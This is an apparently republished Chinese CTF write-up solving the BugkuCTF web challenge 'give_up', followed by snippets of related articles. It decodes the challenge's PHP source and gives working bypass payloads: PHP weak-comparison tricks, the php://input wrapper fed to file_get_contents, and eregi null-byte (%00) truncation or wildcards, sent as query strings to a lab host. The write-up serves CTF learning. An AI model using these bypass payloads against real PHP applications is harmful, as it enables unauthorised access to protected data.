BugkuCTF-WEB题give_up

知识点

拿到源码后,就要考虑几个绕过的方法:==的弱比较:0e和“字符串”;php的伪协议;eregi的绕过:%00的截断(而\x00会将url后面的都截断,我们的目的是在执行到变量时实现截断)和*123123。

解题流程

打开网页如下
在这里插入图片描述
熟悉的?id=
看起来好像有sql注入,通过sqlmap跑一遍发现并没有
F12查看一下源代码

有注释!,1p.html.查看一下这个网址。
在这里插入图片描述
跳转到论坛了 ,Burp抓不到包因为跳转处理在服务器
F12查看网络
在这里插入图片描述
这里发现301重定向。
那要看1p.html,
通过burpsuite抓包了。
在这里插入图片描述
抓包后将网址改为/1p.html, Repeater
在这里插入图片描述
之间这串
JTIyJTNCaWYoISUyNF9HRVQlNUInaWQnJTVEKSUwQSU3QiUwQSUwOWhlYWRlcignTG9jYXRpb24lM0ElMjBoZWxsby5waHAlM0ZpZCUzRDEnKSUzQiUwQSUwOWV4aXQoKSUzQiUwQSU3RCUwQSUyNGlkJTNEJTI0X0dFVCU1QidpZCclNUQlM0IlMEElMjRhJTNEJTI0X0dFVCU1QidhJyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJ2InJTVEJTNCJTBBaWYoc3RyaXBvcyglMjRhJTJDJy4nKSklMEElN0IlMEElMDllY2hvJTIwJ25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJyUzQiUwQSUwOXJldHVybiUyMCUzQiUwQSU3RCUwQSUyNGRhdGElMjAlM0QlMjAlNDBmaWxlX2dldF9jb250ZW50cyglMjRhJTJDJ3InKSUzQiUwQWlmKCUyNGRhdGElM0QlM0QlMjJidWdrdSUyMGlzJTIwYSUyMG5pY2UlMjBwbGF0ZWZvcm0hJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuKCUyNGIpJTNFNSUyMGFuZCUyMGVyZWdpKCUyMjExMSUyMi5zdWJzdHIoJTI0YiUyQzAlMkMxKSUyQyUyMjExMTQlMjIpJTIwYW5kJTIwc3Vic3RyKCUyNGIlMkMwJTJDMSkhJTNENCklMEElN0IlMEElMDklMjRmbGFnJTIwJTNEJTIwJTIyZmxhZyU3QioqKioqKioqKioqJTdEJTIyJTBBJTdEJTBBZWxzZSUwQSU3QiUwQSUwOXByaW50JTIwJTIybmV2ZXIlMjBuZXZlciUyMG5ldmVyJTIwZ2l2ZSUyMHVwJTIwISEhJTIyJTNCJTBBJTdEJTBBJTBBJTBBJTNGJTNF

明显是base64加密
http://ctf.ssleye.com/base64.html在线解密一下

%22%3Bif(!%24_GET%5B’id’%5D)%0A%7B%0A%09header(‘Location%3A%20hello.php%3Fid%3D1’)%3B%0A%09exit()%3B%0A%7D%0A%24id%3D%24_GET%5B’id’%5D%3B%0A%24a%3D%24_GET%5B’a’%5D%3B%0A%24b%3D%24_GET%5B’b’%5D%3B%0Aif(stripos(%24a%2C’.’))%0A%7B%0A%09echo%20’no%20no%20no%20no%20no%20no%20no’%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20%40file_get_contents(%24a%2C’r’)%3B%0Aif(%24data%3D%3D%22bugku%20is%20a%20nice%20plateform!%22%20and%20%24id%3D%3D0%20and%20strlen(%24b)%3E5%20and%20eregi(%22111%22.substr(%24b%2C0%2C1)%2C%221114%22)%20and%20substr(%24b%2C0%2C1)!%3D4)%0A%7B%0A%09%24flag%20%3D%20%22flag%7B***********%7D%22%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20!!!%22%3B%0A%7D%0A%0A%0A%3F%3E

根据%3C来看Words变量应该是url编码
这串有url码,看着有点乱
http://ctf.ssleye.com/url.html解一下

<?
if(!$_GET['id'])    //如果无法通过get获得id变量 或者 id=0执行
{header('Location: hello.php?id=1');   //跳转到hello.php文件设置id=1exit();                               //退出脚本。
}
$id=$_GET['id'];   //通过get方式获得其他文件的id变量
$a=$_GET['a'];     //通过get方式获得其他文件的a变量
$b=$_GET['b'];     //通过get方式获得其他文件的b变量
if(stripos($a,'.'))  //$a文件里不能有.,但当'.'号在第一位时,因为字符串是从0开始的,所以函数会返回0,就可以通过判断。
{echo 'no no no no no no no';return ;
}
$data = @file_get_contents($a,'r');   //将$a文件读入到data里
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{$flag = "flag{***********}"
}
else
{print "never never never give up !!!";
}
/*
id== 0与if(!GET(‘id’))有突,于是令id=0e12345绕过,id为其他也可以stripos(字符串a,字符串b) 函数查找字符串b在字符串a里第一次出现的位置(不区分大小写)。
stripos() 函数:查找字符串在另一字符串里第一次出现的位置(不区分大小写)。
这个函数应该是想过滤掉‘.’号,但是当'.'号在第一位时,因为字符串是从0开始的,所以函数会返回0,就可以通过判断。
返回值:	返回字符串在另一字符串里第一次出现的位置,如果没有找到字符串则返回 FALSE。
注释:字符串位置从 0 开始,不是从 1 开始。strlen() 函数返回字符串的长度file_get_contents 将整个文件读入一个字符串
file_get_contents()函数显然是用来读取文件的,但是我们并不知道网站有哪些文件,但是$a参数可以控制,利用a=php://input来控制文件内容。
用$a=php://input通过php伪协议去绕过file_get_contents
源码里变量 $data 是由 file_get_contents() 函数读取变量 $a 的值而得,所以 $a 的值需为数据流。
在服务器里自定义一个内容为 bugku is a nice plateform! 文件,再把此文件路径赋值给 $a,显然不太现实。因此这里用伪协议 php:// 来访问输入输出的数据流,其内php://input 可以访问原始请求数据里的只读流。这里令 $a = “php://input”,并在请求主体里提交字符串 bugku is a nice plateform!。substr(string,start,length) 函数:返回字符串的一部分。
substr() 函数返回字符串的一部分。 substr(string,start,length) ,length参数可选。如substr($b,0,1)  就是在参数b里面 ,从0开始返回1个长度的字符串
substr($b,0,1)就是取b参数的第一个字符。ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数里的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
eregi() 截断漏洞
CTF题做多了就知道 ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数里的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
源码里待匹配字符串(第二个参数)已确定为 “1114”,正则表达式(第一个参数)由“111”连接b的第一个字符组成,若令substr( 
b,0,1)=”\x00”,即满足“1114”与“111”匹配。因此,这里假设$b=”\x0012345”,才能满足以上的三个条件。eregi("111".substr($b,0,1),"1114") 就是判断"1114"这个字符串里面是否有符合"111".substr($b,0,1)这个规则的
字符串 1114 要与字符串 111 连接变量 $b 的第一个字符构成的正则表达式匹配
b的长度大于5,eregi("111".substr(b,0,1),“1114”)这个函数为b的正则匹配, substr(b的正则匹配,substr(b的正则匹配,substr(b,0,1)!=4这个说明$b开头不能为4,所以我可令
$b=*123456id参数为字符时,比较时会转为0在构造变量 b 里的空字符时,过早将空字符 \x00 放入,在提交请求时导致请求头截断,继而请求失败,得不到响应。
因为 b 是 URL 查询字符串里的变量,不应该在此放入空字符 \x00,而应该为空字符的 URL 编码 %00。注意,虽然 b=%0012345 实际字符串长度为 8 字节,但在后台脚本读入数据时,会将 URL 编码 %00 转换成 1 字节。所以说,空字符应该在后台脚本的变量里出现,而不是在 URL 查询字符串变量里出现。构造payload:
http://114.67.246.176:13629/hello.php?id=a&a=php://input&b=111111
*/?>

%00,?,*这三类特殊符号都可以用来绕过$b的判断,前者为截断空字符,后两者为通配符

构造payload:
http://114.67.246.176:13629/hello.php?id=a&a=1.1
在这里插入图片描述
在这里插入图片描述
构造payload:
http://114.67.246.176:13629/hello.php?id=a&a=php://input&b=%0012345
http://114.67.246.176:13629/hello.php?id=asd&a=php://input&b=*111111
http://114.67.246.176:13629/hello.php?id=0e123&a=php://input&b=%0011111
?id=0e123456&a=php://input&b=*123456
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/525233.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

大数据时代,谁的眼神锁定你?

数据时代当前&#xff0c;欢迎来到楚门的世界。双十一余韵未歇&#xff0c;刚处理完一波售后及退件等“剁手后遗症”的各方人马也已经为再战双十二做好了准备。截至 12 日零点&#xff0c;天猫双十一成交额达 2135 亿元。与此同时&#xff0c;据国家邮政局监测数据显示&#xf…

BugkuCTF-WEB题前女友

解题流程 0、打开网页 发现其内有一个链接 1、点击链接&#xff0c;查看PHP源代码 <?php if(isset($_GET[v1]) && isset($_GET[v2]) && isset($_GET[v3])){ // 检测以GET方式传入的三个参数 v1、v2、v3$v1 $_GET[v1]; // 变量v1等于传入的参数v1$v2 …

周傲英、熊辉、李飞飞邀您共享技术嘉年华!BDTC 八折优惠现已进入两日倒计时(附大会终版日程)...

全球数字化趋势当前&#xff0c;大数据可谓向阳而生蓬勃发展。为了直击大数据学习发展中的痛点与瓶颈&#xff0c;深入解析热门技术在行业中的实践和落地&#xff0c;2018 年12 月 6-8 日&#xff0c;由中国计算机学会主办&#xff0c;CCF大数据专家委员会承办&#xff0c;CSDN…

BugkuCTF-WEB题login1

知识点 存在SQL约束攻击的网站&#xff0c;注册时通过数据库已有账户例如admin大量空格&#xff0c;随意密码点击注册&#xff0c;后端先在数据库查找select&#xff0c;将已有账户扩充相同长度&#xff0c;已有账户与注册账户&#xff08;有大量空格&#xff09;不等&#xf…

今天凌晨,AWS一口气又双叒叕发布了N个新服务

【CSDN记者美国拉斯维加斯现场报道】在北京时间今天凌晨刚刚结束的AWS re&#xff1a;invent 2018的Keynote上&#xff0c;在AWS CEO Andy Jassy长达2个半小时的主题演讲中&#xff0c;AWS一口气又宣布推出了N项新服务&#xff0c;范围涉及存储、文件系统、集中管理、安全、数据…

SQL约束攻击

主要知识点 数据库字符串比较&#xff1a;在数据库对字符串进行比较时&#xff0c;如果两个字符串的长度不一样&#xff0c;则会将较短的字符串末尾填充空格&#xff0c;令两个字符串的长度一致&#xff0c;比如&#xff0c;字符串A:[String]和字符串B:[String2]进行比较时&am…

AI应届博士生年薪八十万,贵吗?

前一段时间&#xff0c;“AI 应届博士生年薪 80 万元”上了微博热搜。这条热搜上的很莫名其妙&#xff0c;从行业本身来说&#xff0c;AI 行业的人才薪资确实高于一般行业。猎聘联合 GMIC 发布的《 2018 AI 人才竞争力报告》指出&#xff0c;AI 领域从业者平均薪资高于互联网行…

BugkuCTF-PWN题pwn2-overflow超详细讲解

解题思路 1&#xff09;计算出get_shell_的地址偏移量 2&#xff09;算出来之后就直接溢出到后门函数 知识点 x64函数调用规则 解题之前我们先学下linux x64的函数调用规则。 x64机器在调用某个函数前&#xff0c;比如int func(int a, int b, int c, int d, int e, int f, …

云漫圈 | 革命版互联网公司虐恋大戏,周一拿去怼业务!

周末&#xff0c;来几张逗逼的漫画醒醒神~&#xff01;程序员/设计师/产品经理相爱相杀的「革命版互联网公司虐恋大戏」温情上映~1.微信群&#xff1a;添加小编微信&#xff1a;color_ld&#xff0c;备注“进群姓名公司职位”即可&#xff0c;加入【云计算学习交流群】&#xf…

BugkuCTF-PWN题pwn3-read_note超详细讲解

知识点 puts()的特性 , puts()会一直输出某地址的数据,直到遇到 \x00 Canary最低位为\x00(截断符) \x 和 0x 的区别&#xff1a; 区别不大&#xff0c;都是把数按16进制输出。 1、0x 表示整型数值 &#xff08;十六进制&#xff09; char c 0x42; 表示的是一个数值(字母B的…

文末有福利 | 停不下来!程序员在GitHub上开源了一个自制表情包项目

世界上本没有表情包&#xff0c;脑洞大的人多了&#xff0c;便有了表情包&#xff0c;如今&#xff0c;大家伙聊天都离不开表情包&#xff0c;但是手头上很多时候表情包根本不够用&#xff0c;所以市面上就有很有App、小程序可以帮助你制作专属你的表情包而程序员在这方面就有个…

BugkuCTF-Crypto题把猪困在猪圈里

下载file.txt文件 在给的内容头部添加data:image/jpg;base64, 将base64编码转为图片 然后下载图片&#xff1a; 百度猪圈密码&#xff0c;得到flag 注意&#xff1a;猪圈密码flag小写

面趣 | 那些面试没过的程序员,都去了哪里?答案真的挺励志

年底又到裁员季&#xff0c;那些还在挣扎着找工作的小伙伴&#xff0c;现在怎么样了&#xff1f;很好奇&#xff0c;那些没有面试成功的朋友最后都去了哪里&#xff1f;尤其是程序员这一庞大群体。有人给出的答案是&#xff0c;不存在“没有通过一个公司的面试&#xff0c;那以…

BugkuCTF-Crypto题贝斯家

密文&#xff1a;iH<,{bdR2H;i6*Tm,Wx2izpx2! 本题要点&#xff1a;base91转码 看到贝斯家… 那么这串字符一定为BASE系列的了 常见的都是base64/base32/base16…和这串字符好像都不太形似 base91的编码原理 base91是将二进制数据编码为ASCII字符的高级方法。 它类似于UUe…

web前端 到底怎么学?掌握什么可以拿到高薪?

web前端到底怎么学&#xff1f;那么在讲 web前端怎么学 这个大命题之前呢&#xff0c;依据我本人的尿性&#xff0c;还是得先把你拉入坑&#xff0c;让你在坑里好好学 O(∩_∩)Oweb前端的历史渊源 和一些出处&#xff0c;童鞋们大概都有所了解了。下面我们进入【相爱】阶段&…

BugkuCTF-Crypto题缝合加密

下载文件&#xff0c;打开 fence:栅栏 看组成规律&#xff0c;很明显和键盘有关系&#xff0c;但是第一租的qwedc既不能组成一个字母或数字&#xff0c;也没有围住一个字母或者数字&#xff0c;但是结合前面提到的pig&#xff0c;推测这里是猪圈密码 第一组的qwedc对应的是 …

腾讯员工用漫画自述悲惨职场经历,网友大呼:社会巨婴

最近微博上有几组“漫画”火了&#xff0c;但是却引发了巨大的争议&#xff0c;漫画作者微博昵称为“知春鹿可不这么想”&#xff0c;作者自称是腾讯的实习生&#xff0c;并通过漫画的形式描述着自己秋招、面试、实习等生活状态。这是其中一篇漫画。很多网友直接说出作者就是一…

BugkuCTF-Crypto题告诉你个秘密

描述: 636A56355279427363446C4A49454A7154534230526D6843 56445A31614342354E326C4B4946467A5769426961453067 观察发现为十六进制转字符 点击十六进制转字符 发现有大写有小写还有数字 推测是base64&#xff1a; base64解密网站https://ctf.bugku.com/tool/base64 可以在后面…

BugkuCTF-Crypto题简单加密

题目&#xff1a; e6Z9i]8RUQHE{RnY{QXgQnQ{XVlRXlpXI5Q6Q6SKY8jUAA 看起来很像base64&#xff0c;但是有一些字符不在base64加密字符的范围&#xff0c;由最后两个AA&#xff0c;猜测是偏移ascii码之后的结果。 偏移4位 打开密码机器下载版.htm 点击凯撒移位 输入密文 点击-4&…

AWS Lambda重大更新,跨越编程语言差异之门?

戳蓝字“CSDN云计算”关注我们哦&#xff01;北京时间11月30日凌晨&#xff0c;在美国拉斯维加斯召开的AWS re: Invent 2018上&#xff0c;和往年一样&#xff0c;AWS CTO WernerVogels博士又发布了AWS多项重要的更新&#xff0c;包括数据库、编程工具、架构等多个方面&#xf…